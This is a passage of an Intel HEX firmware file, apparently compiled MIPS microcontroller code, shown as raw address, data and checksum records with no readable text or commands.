10b7c4002118000001000224448282a300a0103c3e\n:10b7d400dc5610269c00048ea400058eb000078e53\n:10b7e40000a0023c995742241000a2afbc00029270\n:10b7f4001400a2af8c00028e1800a2af0100022434\n:10b804001c00a2af2000a0afa9ff400f3000a62764\n:10b81400b000048e0d004414211800003000a42749\n:10b82400059d053ca45fa524d352410f05000624c1\n:10b834000600401421180000212020023500a5270d\n:10b8440063b9400f20000624010003242110600086\n:10b854006400bf8f6000b18f5c00b08f0800e0030c\n:10b864006800bd27e8ffbd271400bfaf7f49410f23\n:10b8740000000000010002241400bf8f0800e00350\n:10b884001800bd2798ffbd276400bfaf6000b1afab\n:10b894005c00b0af218880002180a000d2ad400fb1\n:10b8a4003000a42746004010211800000000028246\n:10b8b400030040143000a427059d103c4cc41026fe\n:10b8c40046b9400f212800023d0040102118000015\n:10b8d400a34a410f3000a427030003241000a3afa0\n:10b8e40000a0033cdc5663249c00648c1400a4afc9\n:10b8f4001800a0aff800648c1c00a4afe400648cb2\n:10b904002000a4afe800648c2400a4afe000648ca1\n:10b914002800a4aff400638c2c00a3af3000a4274c\n:10b924002128400021300000313b410f0100072451\n:10b93400230040102118000001000224448282a345\n:10b9440000a0023cdc5642249c00448ca400458c9c\n:10b9540000a0033c995763241000a3afbc0043909c\n:10b964001400a3af8c00428c1800a2af0100022483\n:10b974001c00a2af2000a0af3000a627a9ff400ff3\n:10b9840025000724250004240d0044142118000078\n:10b994003000a427059d053ca45fa524d352410f84\n:10b9a400050006240600401421180000212020026e\n:10b9b4003500a52763b9400f2000062401000324a5\n:10b9c400211060006400bf8f6000b18f5c00b08ff5\n:10b9d4000800e0036800bd2720ffbd27dc00bfafdf\n:10b9e400d800beafd400b7afd000b6afcc00b5af6f\n:10b9f400c800b4afc400b3afc000b2afbc00b1afb5\n:10ba0400b800b0af219880000000a2800300401469\n:10ba14002180a000059d103c58c41026d2ad400fd3\n:10ba24003000a4274702401021180000c4b7400f7b\n:10ba34003000a4272188400021b8400f21200002b3\n:10ba4400219040001e53410f218060001e53410f7e\n:10ba540000a402003000a42721288202f9b6400f76\n:10ba6400200006247400a427c9b9400f3000a5277c\n:10ba7400c4b7400f7400a427001e1000023a12003d\n:10ba84002538670002721000001c1000027c1200ae\n:10ba940025786f00026c100000221000021e1200b4\n:10baa4002518830002661000025a11000254110086\n:10bab400022e110002220200024c02000246020081\n:10bac4004231120042a110008c00b4af0200c63013\n:10bad400c001557e21a8d500c2c81200c2b0100012\n:10bae4009000b6af0400393321c8b90242c0120035\n:10baf40042f810009400bfaf0800183321c0380387\n:10bb04002ba8a602403012001000c63021300603d4\n:10bb14002bc0d80021a8150342c71200c0c81200c8\n:10bb24002000393321c8d9002b30260321a8d500a1\n:10bb3400c236120040f912004000ff3321f83f03df\n:10bb44002bc8f90321a8350342a612008000b4af24\n:10bb5400c0c91200ff00393321c8f9032bf83f0391\n:10bb640021a8f50342fb120042b310009800b6afbf\n:10bb74000200ff33c003547e21a0f403c2ba1200b2\n:10bb8400c2b210009c00b6af0400f73221b897028d\n:10bb940042b2120042f21000a000beaf0800d6323a\n:10bba40021b0f6022bf89f0240a007001000943247\n:10bbb40021a0d4022bb0960221b0df02c0b8070046\n:10bbc4002000f73221b897022ba0f40221a096029c\n:10bbd40040b107004000d63221b0f6022bb8d7029c\n:10bbe40021b8f402c0390700ff00e7302138c7024a\n:10bbf4002bb0f60021b8d70202fe070000ba1700e6\n:10bc040025b8f703003a0700213827032bc8f900a9\n:10bc140021a8b70221a835038400b5af42cd120094\n:10bc240042fd1000a400bfaf02003933c0055f7e9f\n:10bc340021f83f03c2ac1200c2a41000a800b4afa4\n:10bc44000400b53221a8f50342a4120042b4100046\n:10bc5400ac00b6af0800943221a0b4022bc8f9039b\n:10bc640040b00f001000d63221b096022ba0d402af\n:10bc740021a09902c0b80f002000f73221b8d702e2\n:10bc84002bb0f60221a0d40240b10f004000d632fe\n:10bc940021b0f6022bb8d70221b8f402c0790f0004\n:10bca400ff00ef312178cf022ba8f60121a8b702bb\n:10bcb400c0c810008800b9af42ff1000b000bfaf89\n:10bcc4000200183340a01000c2b71000b400b6af91\n:10bcd400c2971200219012032bc0580240b11000e9\n:10bce400c2fe10000400c630213046022bb8d20038\n:10bcf40021b8f802c091100042ce10008000be8f1f\n:10bd04000800d83321c0d8002b30060321b8d7004f\n:10bd1400403003001000c630213006032bc0d80089\n:10bd240021b81703c0c003002000183321c0d80075\n:10bd34002b30060321b8d700403103004000c63041\n:10bd4400213006032bc0d80021c01703c0190300fb\n:10bd5400ff0063302118c3002b30660021c0d800d7\n:10bd640002be030000c2180025c0f802001a030036\n:10bd74002118e3012b786f0021c0b8022178f80163\n:10bd840002340300007c0f002578cf00001c030060\n:10bd94002130e3002b38c7008400a38f21786f0083\n:10bda4002178ef008c00b88f02000733c001037eb6\n:10bdb4002138e3009000b88f040003332138e300f6\n:10bdc4009400b88f080003332118e3001000943264\n:10bdd400211874008800a78f2000f4302118740003\n:10bde4004000d63221187600ff005232211872002a\n:10bdf4009800b28f02005832c003077e213807032f\n:10be04009c00b48f040098322138f800a000b68f4b\n:10be14000800d8322138f80040900e001000523249\n:10be24002138f200c0900e00200052322138f20076\n:10be340040910e00400052322138f200c0710e00d1\n:10be4400ff00ce312138ee00003a070021186700c8\n:10be5400a400b88f02000733c005107e2138f0001b\n:10be6400a800b28f04004e322138ee00ac00b48f2b\n:10be740008008e322138ee0040700d001000ce31e3\n:10be84002138ee00c0700d002000ce312138ee00c4\n:10be940040710d004000ce312138ee00c0690d0024\n:10bea400ff00ad312138ed00b000b68f0200cd3275\n:10beb4000400ff332168bf01b400b88f2168b801c2\n:10bec400080039332168b90140700c001000ce31ec\n:10bed4002168ae01c0700c002000ce312168ae0193\n:10bee40040710c004000ce312168ae01c0610c00ed\n:10bef400ff008c312160ac0100620c002138ec00a1\n:10bf0400003c070021386700421911000200633029\n:10bf1400c0012c7e21186c00c260110004008c3119\n:10bf240021186c004260110008008c3121186c004b\n:10bf34004060110010008c3121186c00c0601100a9\n:10bf440020008c3121186c004061110040008c31bc\n:10bf540021186c00c0611100ff008c3121186c00a5\n:10bf64004263110002008c31c0032d7e21608d01db\n:10bf7400c26a11000400ad3121608d01426a1100d2\n:10bf84000800ad3121608d0140680b001000ad3117\n:10bf940021608d01c0680b002000ad3121608d014e\n:10bfa40040690b004000ad3121608d01c0590b0088\n:10bfb400ff006b3121588b01005a0b0021186b00d4\n:10bfc400425d110002006b31c0052c7e21586c01ca\n:10bfd400c264110004008c3121586c0142641100c8\n:10bfe40008008c3121586c0140600a0010008c312b\n:10bff40021586c01c0600a0020008c3121586c016a\n:10c0040040610a0040008c3121586c01c0510a0083\n:10c01400ff004a3121506a014267110002008c314d\n:10c02400c25e110004006b3121588b01c2671100fc\n:10c0340021586c01428e11000800313221587101df\n:10c044004060050010008c3121586c01c06005006f\n:10c0540020008c3121586c014061050040008c3176\n:10c0640021586c01c0290500ff00a5302158650145\n:10c07400005a0b0021284b01002c050021186500f3\n:10c084001000a3af422902000200a530c001437c86\n:10c094002128a300c2180200040063302128a30051\n:10c0a40042180200080063302128a300401802004f\n:10c0b400100063302128a300c01802002000633060\n:10c0c4002128a30040190200400063302128a30066\n:10c0d400c0190200ff0063302128a300421b0200a4\n:10c0e40002006330c0034a7c21186a00c252020075\n:10c0f40004004a3121186a004252020008004a3101\n:10c1040021186a004050040010004a3121186a00c6\n:10c11400c050040020004a3121186a004051040034\n:10c1240040004a3121186a00c0210400ff00843015\n:10c1340021186400001a03002120a300421d0200fc\n:10c1440002006330c005457c21186500c22c020042\n:10c154000400a53021186500422c02000800a53017\n:10c1640021186500402809001000a5302118650039\n:10c17400c02809002000a5302118650040290900c5\n:10c184004000a53021186500c0490900ff0029318d\n:10c1940021186900424f020002002931c22e020018\n:10c1a4000400a53021282501c24f02002128a9003e\n:10c1b40042160200080042302110a2004028080064\n:10c1c4001000a53021104500c02808002000a5302b\n:10c1d40021104500402908004000a53021104500e9\n:10c1e400c0410800ff000831214048000042080017\n:10c1f40021186800001c0300211083001400a2af62\n:10c2040000a0043ce0698424d601410f2138e701f1\n:10c21400ffff0424f6b2400f200005245000a42799\n:10c2240021284000f9b6400f2000062400a0043c59\n:10c23400d2ad400f5c458424420040102118000018\n:10c24400a34a410f3000a427030003241000a3af26\n:10c2540000a0033cdc5663249c00648c1400a4af4f\n:10c264001800a0aff800648c1c00a4afe400648c38\n:10c274002000a4afe800648c2400a4afe000648c28\n:10c284002800a4aff400638c2c00a3af3000a427d3\n:10c294002128400021300000313b410f01000724d8\n:10c2a400280040102118000001000224448282a3c7\n:10c2b40000a0023cdc5642249c00448ca400458c23\n:10c2c40000a0033c995763241000a3afbc00439023\n:10c2d4001400a3af8c00428c1800a2af010002240a\n:10c2e4001c00a2af2000a0af3000a627a9ff400f7a\n:10c2f40025000724250004241200441421180000fa\n:10c304003000a427059d053ca45fa524d352410f0a\n:10c31400050006240b00401421180000010002242b\n:10c324000c8182af212060023500a52763b9400f3c\n:10c33400200006242120600288b2400f21286002d8\n:10c344002118400021106000dc00bf8fd800be8f90\n:10c35400d400b78fd000b68fcc00b58fc800b48f8f\n:10c36400c400b38fc000b28fbc00b18fb800b08fcf\n:10c374000800e003e000bd27ff00a5300800a22c60\n:10c384005a00401021180000a0ffbd275c00bfaf79\n:10c394005800b0af21808000313102243000a2a7c0\n:10c3a4003200a427e2b6400f030006243500a42778\n:10c3b400e8ba400f3000a5273a00a0a30c81828f71\n:10c3c400030040103000a427bbb2400f2128800096\n:10c3d400a34a410f3000a427030003241000a3af95\n:10c3e40000a0033cdc5663249c00648c1400a4afbe\n:10c3f4001800a0aff800648c1c00a4afe400648ca7\n:10c404002000a4afe800648c2400a4afe000648c96\n:10c414002800a4aff400638c2c00a3af3000a42741\n:10c424002128400021300000313b410f0100072446\n:10c43400290040102118000001000224448282a334\n:10c4440000a0023cdc5642249c00448ca400458c91\n:10c4540000a0033c995763241000a3afbc00439091\n:10c464001400a3af8c00428c1800a2af0100022478\n:10c474001c00a2af2000a0af3000a627a9ff400fe8\n:10c484002500072425000424130044142118000067\n:10c494003000a427059d053ca45fa524d352410f79\n:10c4a400050006240c00401421180000212000027d\n:10c4b4003500a52763b9400f200006240c81828f24\n:10c4c40005004010010003242120000288b2400f1f\n:10c4d4002128000221184000211060005c00bf8f59\n:10c4e4005800b08f0800e0036000bd270800e00397\n:10c4f4002110600038ffbd27c400bfafc000b1af3a\n:10c50400bc00b0afff0090300800022e9d00401028\n:10c51400211800002188a000313002243000a2a795\n:10c524003200a42721280002e2b6400f03000624ab\n:10c534003500a427e8ba400f3000a5273a00a0a38d\n:10c544000c81828f060040103000a28f3c00a4278b\n:10c55400bbb2400f3000a52761b1400b6400a42793\n:10c564003c00a2af3400a28f4000a2af3800a297d3\n:10c574004400a2a73a00a2934600a2a36400a42701\n:10c5840046b9400f21282002200004247d004414d1\n:10c5940021180000a34a410f3c00a42703000324f0\n:10c5a4001000a3af00a0033cdc5663249c00648c01\n:10c5b4001400a4af1800a0aff800648c1c00a4af52\n:10c5c400e400648c2000a4afe800648c2400a4afd1\n:10c5d400e000648c2800a4aff400638c2c00a3afab\n:10c5e4003c00a4272128400021300000313b410faa\n:10c5f40001000724630040102118000001000224f8\n:10c60400448282a300a0023cdc5642249c00448c59\n:10c61400a400458c00a0033c995763241000a3afe9\n:10c62400bc0043901400a3af8c00428c1800a2af4e\n:10c63400010002241c00a2af2000a0af8c00a6279a\n:10c64400a9ff400f0f0007240f000324190043140f\n:10c654000c81828f8c00a427059d053ca45fa52432\n:10c66400d352410f0500062446004014211800004f\n:10c674000c81828f050040109100a427212880009e\n:10c68400dfb2400f0a0006249100a427212880006d\n:10c69400aaba400f0a0006243000a4279100a52757\n:10c6a400d352410f0a00062436004014211800001a\n:10c6b4000c81828f030040106400a427bbb2400f9a\n:10c6c40021288000a34a410f6400a4270300032407\n:10c6d4001000a3af00a0033cdc5663249c00648cd0\n:10c6e4001400a4af1800a0aff800648c1c00a4af21\n:10c6f400e400648c2000a4afe800648c2400a4afa0\n:10c70400e000648c2800a4aff400638c2c00a3af79\n:10c714006400a4272128400021300000313b410f50\n:10c7240001000724170040102118000000a0023c5b\n:10c73400dc564224f800438c660263249c00428c3d\n:10c7440002186270eb51023c1f85423419006200ea\n:10c7540010200000400e410f422104003c00a42799\n:10c76400dfb0400f2128000206004010211800000d\n:10c774003c00a42721282002d352410f080006249c\n:10c784000100432c21106000c400bf8fc000b18f92\n:10c79400bc00b08f0800e003c800bd27b8ffbd2768\n:10c7a4004400bfaf4000b7af3c00b6af3800b5aff0\n:10c7b4003400b4af3000b3af2c00b2af2800b1af37\n:10c7c4002400b0af4800a4af4c00a5af5000a6af02\n:10c7d4005400a7af20031624059d023c68c44224dc\n:10c7e4001400a2af059d023c70c4422477b2400bf2\n:10c7f4001800a2af00a0023cdc5642249c0056acb8\n:10c80400e00057ace40055ace80052ac1400a48f2f\n:10c814008513410f2128e0021800a48f8513410fce\n:10c824002128a002059d043c7cc484248513410f67\n:10c8340021284002059d043c84c484248513410faf\n:10c844002128c002050010241000a0af21a0000080\n:10c85400219800004715410f0000000065004014b6\n:10c864004400bf8fd2ad400f212020021800405059\n:10c87400ffff102601007326ff00733221202002df\n:10c8840022ae400f6000a58f07004054010094269b\n:10c894002120200277ae400f6000a58f0c0040508d\n:10c8a400ffff102601009426ff009432212020026d\n:10c8b400dfb0400f2128000005004010ffff1026c4\n:10c8c4001000a38f01006224ff0042301000a2afc9\n:10c8d400ff001032dfff0016050002241700625625\n:10c8e4000100522615008256010052261000a48f22\n:10c8f4001200825401005226059d043c8cc48424f9\n:10c904008513410f05000524059d043c98c4842427\n:10c914008513410f05000524059d043ca4c484240b\n:10c924008513410f05000524059d043cb0c48424ef\n:10c934008513410f05000524010052265c00a38fd6\n:10c944002b107200acff401000a0023c0100b52681\n:10c954005400a48f2b1095000b0040540100f726bf\n:10c964005800a38f5c00a48f2b108300f8ff405461\n:10c974000100b5262190600000a0113cfeb1400bdf\n:10c98400dc2431260100f7264c00a38f2b107700fe\n:10c9940009004014059d043c5000a48f5400a38f4b\n:10c9a4002b106400f7ff401421a880005ab2400bfa\n:10c9b4005800a38f059d043c00c48424059d053cb8\n:10c9c4002013410f40c4a5240100d6262a030224c3\n:10c9d4000800c2124400bf8f4800a48f4c00a38fec\n:10c9e4002b106400f3ff401421b8800068b2400ba0\n:10c9f4005000a48f4000b78f3c00b68f3800b58f2d\n:10ca04003400b48f3000b38f2c00b28f2800b18f64\n:10ca14002400b08f0800e0034800bd27d0ffbd27e5\n:10ca24002c00bfaf2800b4af2400b3af2000b2afd6\n:10ca34001c00b1af1800b0af218080002188a00095\n:10ca4400a34a410f2120a0001c0040102190400067\n:10ca5400059d133cd0c47326059d143cd4c4942670\n:10ca64002120200221286002b355410f1000a6277f\n:10ca740001000324130043141000a493f6b2400fe2\n:10ca8400080005241400a42721288002ac54410f77\n:10ca9400213040001400a293000002a21500a293ca\n:10caa400010002a202003126feff5226ecff4016ce\n:10cab40002001026b3b2400b01000224b3b2400bb3\n:10cac40001000224211000002c00bf8f2800b48f25\n:10cad4002400b38f2000b28f1c00b18f1800b08fd8\n:10cae4000800e0033000bd27d8ffbd272400bfaff6\n:10caf4002000b4af1c00b3af1800b2af1400b1af44\n:10cb04001000b0af219880002180a000a34a410ffb\n:10cb14002120a0000f00401021a0400021884000e7\n:10cb2400219060020100102601005226ffff0392ab\n:10cb3400d0ff6424ff008430f6b2400f01000524c6\n:10cb440030004224ffff3126f6ff2016ffff42a2e9\n:10cb540021987402000060a22400bf8f2000b48fcb\n:10cb64001c00b38f1800b28f1400b18f1000b08f67\n:10cb74000800e0032800bd27e0ffbd271c00bfaf6d\n:10cb84001800b2af1400b1af1000b0af218880001c\n:10cb94002190a0000900c0102180c00001003126ae\n:10cba40001005226ffff4492f6b2400f0100052413\n:10cbb400ffff1026f9ff0016ffff22a21c00bf8f03\n:10cbc4001800b28f1400b18f1000b08f0800e0037a\n:10cbd4002000bd27e8ffbd271400bfaf1000b0af91\n:10cbe4002180800000a0043ce06984242c03410fd0\n:10cbf400ff00a530261050001400bf8f1000b08f26\n:10cc04000800e0031800bd27c8ffbd273400bfafec\n:10cc14003000b5af2c00b4af2800b3af2400b2afde\n:10cc24002000b1af1c00b0af2198c000059d023cac\n:10cc3400dcc4432403006388dcc443981000a3af1e\n:10cc4400059d023ce0c4432403006388e0c4439888\n:10cc54001800c0101400a3af2188800021a0a000f8\n:10cc6400218000000100152421909002212040021f\n:10cc74001400a527d352410f0400062403004014d6\n:10cc8400212040022ab3400b000035a21000a52742\n:10cc9400d352410f04000624070040142110000061\n:10cca400000020a2040010262b181302eeff6014cb\n:10ccb40001003126821013003400bf8f3000b58f7d\n:10ccc4002c00b48f2800b38f2400b28f2000b18fc2\n:10ccd4001c00b08f0800e0033800bd27ff00a5301a\n:10cce400f8ffa524ff00a2300800422c2e004010bb\n:10ccf400ff00a53080280500039d023c14cd42248a\n:10cd0400212845000000a28c08004000000000001b\n:10cd140084cd029d5ccd029d5ccd029daccd029d77\n:10cd2400accd029daccd029d5ccd029d34cd029d67\n:10cd3400059d023ce4c4438ce4c442240400428cb8\n:10cd4400030083a8000083b8070082a8040082b807\n:10cd54000800e00301000224059d023cf0c4438c5a\n:10cd6400f0c442240400428c030083a8000083b86a\n:10cd7400070082a8040082b80800e003010002242e\n:10cd8400059d023cfcc4438cfcc442240400428c38\n:10cd9400030083a8000083b8070082a8040082b8b7\n:10cda4000800e003010002240800e0032110000051\n:10cdb40048ffbd27b400bfafb000b7afac00b6affb\n:10cdc400a800b5afa400b4afa000b3af9c00b2af4d\n:10cdd4009800b1af9400b0afc500c0102190c0005e\n:10cde40021a0800021a8a00021b0000021b80000eb\n:10cdf4002198000021800000059d023c30c542249a\n:10ce04008800a2af059d023c34c542248c00a2af29\n:10ce1400802810002110a5021000a2af0a000224ed\n:10ce24001400a2af500002241800a2af2310500235\n:10ce34001c00a2af2000a427212885020a00062492\n:10ce44003519410f00010724aa0040102188400031\n:10ce5400a34a410f2000a4270a0003242100431001\n:10ce64000b00432c0600601020000324050003245b\n:10ce7400090043502000a42734b4400b059d043c12\n:10ce8400540043104000032466004310da80829368\n:10ce940034b4400b059d043c059d053c44c4a524c5\n:10cea400d352410f0500062408004014059d043c9c\n:10ceb400059d043c08c584242013410f2000a527a8\n:10cec4000100162437b4400b21b8000090c3842419\n:10ced4002013410f2000a52721b0000037b4400bd8\n:10cee40021b800000700e0122000a427059d043c9f\n:10cef4001cc584242013410f2000a52737b4400b00\n:10cf040021b000008800a58fd352410f02000624ef\n:10cf1400070040142000a427059d043c84c38424f6\n:10cf24002013410f2000a52737b4400b21b0000087\n:10cf34008c00a58fd352410f020006240600401432\n:10cf44002000a427059d043c38c584242013410fe8\n:10cf54002000a5272000a427059d023c4cc545249c\n:10cf6400d352410f02000624060040142000a427d7\n:10cf7400059d043c50c584242013410f2000a5279f\n:10cf84002000a427059d053c6cc5a524d352410f60\n:10cf940002000624060040148500a427059d043cd5\n:10cfa40070c584242013410f2000a5278500a427e1\n:10cfb4002200a5271cba400f03000624059d043c4b\n:10cfc40084c584248513410f8500a59337b4400b91\n:10cfd40021b000000700c052059d043c059d043c9f\n:10cfe40088c584242013410f2000a52702b4400bd8\n:10cff4002000a42704c484242013410f2000a52763\n:10d004002000a427c9b9400f21288000059d043cb5\n:10d0140000c484242013410f2000a52737b4400bfb\n:10d0240021b0000004004010059d043cfab4400ff8\n:10d034002000a427059d043c94c584242013410f9b\n:10d044002000a5272000a28f6400a2af2400a28f95\n:10d054006800a2af2800a28f6c00a2af2c00a28fa0\n:10d064007000a2af3000a28f7400a2af3400a28f70\n:10d074007800a2af3800a28f7c00a2af3c00a28f40\n:10d084008000a2af8400a0a32000a427c9b9400f48\n:10d094006400a527059d043ca0c584242013410fea\n:10d0a4002000a5272000a427c9b9400f4000a527c8\n:10d0b400059d043c00c484242013410f2000a527af\n:10d0c40021b0000037b4400b0100172430c484247d\n:10d0d4002013410f2000a527218011022b101202da\n:10d0e400040040100100132486b3400b8028100074\n:10d0f40021980000059d043c00c48424059d053c42\n:10d104002013410f40c4a52421106002b400bf8f36\n:10d11400b000b78fac00b68fa800b58fa400b48f51\n:10d12400a000b38f9c00b28f9800b18f9400b08f91\n:10d134000800e003b800bd27d8ffbd272400bfaf17\n:10d144002000b3af1c00b2af1800b1af1400b0aff1\n:10d15400219080002198a00063b7400f2188c0006f\n:10d1640021804000059d043c34c684242013410fd3\n:10d17400212860022120600278b7400f04000524b2\n:10d18400059d043c54c684242013410f2128200209\n:10d194002120200278b7400f04000524059d043c9b\n:10d1a40078c684242013410f21284002059d043ca5\n:10d1b4009cc684248513410fc039057ec000117eae\n:10d1c4000c0020122014107c04004304059d053c2f\n:10d1d400059d053c79b4400bacc5a524c0c5a52468\n:10d1e400059d043c2013410fb8c6842488b4400b29\n:10d1f4008001137e04004304059d053c059d053c08\n:10d2040084b4400bd0c5a524c0c5a524059d043c09\n:10d214002013410fb8c684248001137e059d043c6d\n:10d22400c0c684248513410f212860020400605283\n:10d23400059d053c059d053c92b4400b00c6a52404\n:10d24400c0c5a524059d043c2013410fb8c6842401\n:10d254004001137e059d043cdcc684248513410fe4\n:10d264002128600204006052059d053c059d053c93\n:10d27400a0b4400b00c6a524c0c5a524059d043c4c\n:10d284002013410fb8c684240001137e059d043c7d\n:10d29400f8c684248513410f2128600204006052db\n:10d2a400059d053c059d053caeb4400b00c6a52478\n:10d2b400c0c5a524059d043c2013410fb8c6842491\n:10d2c400059d043c14c784248513410f21282002a2\n:10d2d40004002052059d053c059d053cbbb4400b54\n:10d2e4000cc6a52414c6a524059d113c2013410f8a\n:10d2f400b8c624264008137e059d043c30c7842408\n:10d304008513410f212860028098130000a0023c7d\n:10d31400a472422421986202b8c624262013410f25\n:10d324000000658e01001032059d043c4cc7842426\n:10d334008513410f2128000204000052059d053c7d\n:10d34400059d053cd5b4400b20c6a52428c6a524bc\n:10d35400059d043c2013410fb8c6842402005026c6\n:10d36400059d043c68c784242013410f2128000232\n:10d374002120000278b7400f03000524059d043cda\n:10d3840000c48424059d053c2013410f40c4a524fa\n:10d39400010002242400bf8f2000b38f1c00b28f31\n:10d3a4001800b18f1400b08f0800e0032800bd27d7\n:10d3b400e0ffbd271c00bfaf1000a0af079d043cd9\n:10d3c400ffbf84341000a5270400062400a0073cf6\n:10d3d400424c410f5c45e7241c00bf8f0800e0036a\n:10d3e4002000bd27c8ffbd273400bfaf3000b1af58\n:10d3f4002c00b0af079d023cffbf423403004388ba\n:10d40400000043989801622c180040101000a3af4c\n:10d4140021288000c9b9400f1400a4271000a28f4e\n:10d42400802002000011020021208200079d113c8f\n:10d4340003c03136212091001400a52714000624ce\n:10d4440000a0103c424c410f5c4507261000a28fff\n:10d45400010042241000a2affcff24261000a527df\n:10d4640004000624424c410f5c4507263400bf8f5c\n:10d474003000b18f2c00b08f0800e0033800bd27c6\n:10d48400c0ffbd273c00bfaf3800b3af3400b2af1c\n:10d494003000b1af2c00b0af079d023cffbf423457\n:10d4a40003004388000043981000a3af059d043c8b\n:10d4b40000c48424059d053c2013410f40c4a524c9\n:10d4c4001000a28f080040149901432c059d043cd0\n:10d4d40000c48424059d053c2013410f8cc7a5245a\n:10d4e40064b5400b3c00bf8f0800601480880200c4\n:10d4f400059d043c00c48424059d053c2013410f74\n:10d50400a4c7a52464b5400b3c00bf8f00110200e2\n:10d5140021882202079d103c03c010362188300266\n:10d5240020001324059d123cb8c652260300038a2a\n:10d534000000039a0700028a0400029a1400a3afb1\n:10d544001800a2af1c00b3a30800022603004388fe\n:10d554000000439807004588040045982000a3abc9\n:10d564001d00a3bb2400a5ab2100a5bb2500a0a3df\n:10d57400212040022013410f1400a5271400102677\n:10d58400ebff11560300038a3c00bf8f3800b38fb2\n:10d594003400b28f3000b18f2c00b08f0800e0034c\n:10d5a4004000bd27f8ffbd270400beaf21f0a00353\n:10d5b4000800c4af0c00c5af2110c0001000c2a306\n:10d5c4001000c293640003241b006200f4014000b5\n:10d5d40010100000121000000c00c38f1b0062002a\n:10d5e400f401400010100000121000000c00c38f62\n:10d5f400231862000800c28f2b106200150040102f\n:10d60400000000001000c293640003241b006200a9\n:10d61400f401400010100000121000000c00c38f31\n:10d624001b006200f40140001010000012180000fa\n:10d634000c00c28f211862000800c28f2b10430017\n:10d6440004004010000000000100022497b5400bc4\n:10d65400000000002110000021e8c0030400be8f78\n:10d664000800bd270800e00300000000e8ffbd2714\n:10d674001400beaf21f0a0031800c4af2110a00015\n:10d684001c00c2a30400c0af010002240800c2af02\n:10d694000000c0a3bfb5400b000000001c00c393f2\n:10d6a4000000c29323106200ffff42241800c38fbe\n:10d6b4002110620000004290d0ff42242118400053\n:10d6c4000800c28f180062000400c28f1218000004\n:10d6d400211043000400c2af0800c28f40100200b2\n:10d6e40080180200211043000800c2af0000c2935a\n:10d6f400010042240000c2a30000c3931c00c29393\n:10d704002b106200e5ff4014000000000400c28feb\n:10d7140021e8c0031400be8f1800bd270800e003f1\n:10d7240000000000e0ffbd271c00beaf21f0a003f5\n:10d734002000c4af2110a0002400c2a321100000c7\n:10d74400211800000800c2af0c00c3af010002247e\n:10d7540021180000130040001100600012100000a6\n:10d76400101800001000c2af1400c3af0000c0a323\n:10d7740019b6400b000000002400c3930000c293bc\n:10d7840023106200ffff42242000c38f2110620097\n:10d7940000004290d0ff422421404000c317020001\n:10d7a400214840001000c28f021049701400c38f3a\n:10d7b4001800680012180000211043001000c38fe5\n:10d7c40019006800122000001028000021104500f4\n:10d7d400212840000800cc8f0c00cd8f211084013b\n:10d7e4002b704c002118a5012120c30121188000b1\n:10d7f4000800c2af0c00c3af1000c28f1400c38f67\n:10d804001300400011006000121000001018000006\n:10d81400c22702004058030025588b0040500200e4\n:10d824002110400121186001822702008038030082\n:10d834002538870080300200212046002b608200ba\n:10d844002128670021108501212840001000c4af61\n:10d854001400c5af0000c293010042240000c2a31b\n:10d864000000c3932400c2932b106200c2ff401433\n:10d87400000000000800c28f0c00c38f130040009a\n:10d884001100600012100000101800001300400086\n:10d8940011006000121000001018000021e8c003fd\n:10d8a4001c00be8f2000bd270800e003000000001c\n:10d8b400f0ffbd270c00beaf21f0a0031000c4afe1\n:10d8c4002110a0001400c2a30000c0af43b6400b57\n:10d8d400000000001000c28f010043241000c3aff9\n:10d8e40000004290211840001400c293ffff44241a\n:10d8f4001400c4a3ffff4224041043000000c38f9c\n:10d90400211062000000c2af1400c293f1ff401462\n:10d91400000000000000c28f21e8c0030c00be8f8d\n:10d924001000bd270800e00300000000f8ffbd2739\n:10d934000400beaf21f0a0030800c4af0c00c5afc3\n:10d944001000c6af5eb6400b000000000800c28f96\n:10d95400010043240800c3af1000c38f0c00c48f20\n:10d9640006186400ff00633001006330ff00633079\n:10d97400000043a01000c28fffff43241000c3af78\n:10d98400f2ff40140000000021e8c0030400be8f31\n:10d994000800bd270800e00300000000f8ffbd27d1\n:10d9a4000400beaf21f0a0030800c4af0c00c5af53\n:10d9b4001000c6af7ab6400b000000000800c28f0a\n:10d9c400010043240800c3af1000c38f0c00c48fb0\n:10d9d40006186400ff00633001006330ff00633009\n:10d9e400000043a01000c28fffff43241000c3af08\n:10d9f400f2ff40140000000021e8c0030400be8fc1\n:10da04000800bd270800e00300000000f8ffbd2760\n:10da14000400beaf21f0a0030800c4af1000c6afdd\n:10da24001400c7afa2b6400b000000000800c58f69\n:10da34000100a4240800c4af1800c48f200086305d\n:10da4400213800001400c88f40480800ffff082454\n:10da540026408800044009011000c98f061089007f\n:10da6400251002011400c88f061888000b106600e8\n:10da74000b18e600ff00443001008430ff008430be\n:10da84000000a4a01800c48fffff85241800c5afb0\n:10da9400e6ff80140000000021e8c0030400be8fec\n:10daa4000800bd270800e00300000000d8ffbd27e0\n:10dab4002400bfaf2000beaf21f0a0032800c4aff4\n:10dac4002c00c5af1000c22721204000059d023c58\n:10dad4008c4745242c00c68fac54410f0000000035\n:10dae4002800c48f1000c227212840000800062403\n:10daf400494a410f000000000100022421e8c0034c\n:10db04002400bf8f2000be8f2800bd270800e0033b\n:10db140000000000d0ffbd272c00bfaf2800beaf1f\n:10db240021f0a0033000c4af3800c6af3c00c7af3b\n:10db34001000c22721204000059d023c9447452443\n:10db44003800c68f3c00c78fac54410f0000000062\n:10db54003000c48f1000c227212840001000062482\n:10db6400494a410f000000000100022421e8c003db\n:10db74002c00bf8f2800be8f3000bd270800e003b3\n:10db840000000000e8ffbd271400bfaf1000beafc7\n:10db940021f0a0031800c4af1c00c5af2000c6af1d\n:10dba4001800c48f1c00c58f2000c68f4cb6400fd0\n:10dbb400000000001800c48f1800c58f2000c68f15\n:10dbc400aaba400f0000000021e8c0031400bf8f70\n:10dbd4001000be8f1800bd270800e00300000000fd\n:10dbe400e8ffbd271400bfaf1000beaf21f0a003b3\n:10dbf4001800c4af1c00c5af2000c6af1800c48f06\n:10dc04001c00c58f2000c68f68b6400f00000000be\n:10dc14001800c48f1800c58f2000c68faaba400f01\n:10dc24000000000021e8c0031400bf8f1000be8f65\n:10dc34001800bd270800e00300000000f0ffbd2726\n:10dc44000c00beaf21f0a0031000c4af2110a0004f\n:10dc54001400c2a321100000211800000000c2af6c\n:10dc64000400c3af32b7400b000000001000c28fa5\n:10dc7400010043241000c3af00004290211840006b\n:10dc84001400c293ffff44241400c4a3ffff4224e2\n:10dc94000410430021304000c31702002138400023\n:10dca4000000c48f0400c58f211086002b4044005f\n:10dcb4002118a70021200301211880000000c2af11\n:10dcc4000400c3af1400c293e8ff40140000000036\n:10dcd4000000c28f0400c38f1300400011006000d5\n:10dce4001210000010180000130040001100600022\n:10d